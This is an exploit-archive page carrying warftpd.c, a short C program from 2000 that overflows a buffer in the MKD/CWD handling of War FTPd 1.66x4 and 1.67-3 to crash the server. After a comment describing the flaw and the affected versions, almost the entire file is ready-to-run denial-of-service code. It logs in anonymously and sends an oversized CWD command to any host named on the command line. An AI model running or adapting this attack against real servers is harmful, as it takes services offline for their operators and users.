what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

warftpd.c

warftpd.c
Posted Apr 15, 2000
Authored by eth0 | Site b0f.com

WarFtpd dos attack - The buffer overflow seems to occur because the bound check of the command of MKD/CWD is imperfect. War FTPd 1.70-1 does fix this problem, but it contains other vulnerabilities.

tags | overflow, vulnerability
SHA-256 | 75f5fa10bdcb027b11108ada9ad43286eb50f3575be3fbcb51715841603aff32

warftpd.c

Change Mirror Download
/* coded by eth0 from buffer0verfl0w */
/* tested by morpha */
/* *NOTE* Original exploit was coded for winbl0wz *NOTE */
/*
Vulnerable:
War FTPd version 1.66x4
War FTPd version 1.67-3

Immune:
War FTPd version 1.67-4
War FTPd version 1.71-0

The buffer overflow seems to occur because the bound
check of the command of MKD/CWD is imperfect. This
means that although anyone can overflow the statically
assigned buffer that stores the requested path, you
cannot overwrite the RET address and therefore it's
impossible to cause War FTPd to execute arbitrary code.
However, it is a simple mechanism for performing a Denial
of-Service against the server.

Solution:
War FTPd 1.70-1 does fix this problem, but it contains other
vulnerabilities (see our additional information section).
*/

#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define FTP_PORT 21
#define MAXBUF 8182
//#define MAXBUF 553
#define MAXPACKETBUF 32000
#define NOP 0x90
#define PASS "PASS eth0@owns.your.ass.com\r\n"
#define LOGIN "USER anonymous\r\n"

int expl0it(char *host)
{
struct hostent *hp;
struct in_addr addr;
struct sockaddr_in s;
static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
/* u_char buf[280]; */
int p, i;

hp = gethostbyname (host);
if (!hp) exit (1);

bcopy (hp->h_addr, &addr, sizeof (struct in_addr));
p = socket (s.sin_family = 2, 1, IPPROTO_TCP);
s.sin_port = htons (FTP_PORT);
s.sin_addr.s_addr = inet_addr (inet_ntoa (addr));

if(connect (p, &s, sizeof (s))!=0)
{
printf("[%s:%s] <-- doesn't seem to be listening\n",host,FTP_PORT);
return;
}
else {
printf("Connected!\n");
write(p, LOGIN, strlen(LOGIN));
write(p, PASS, strlen(PASS));

memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
sprintf((char *)packetbuf,"CWD %s\r\n",buf);
send(p,(char *)packetbuf,strlen((char *)packetbuf),0);
printf("DONE!\n");
}
return(0);
}

int main(int argc, char *argv[])
{
if(argc<2)
{
printf("Usage: %s [host] \n",argv[0]);
return;
}
else
{
expl0it(argv[1]);
}
return(0);
}
/* www.hack.co.za [10 May]*/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close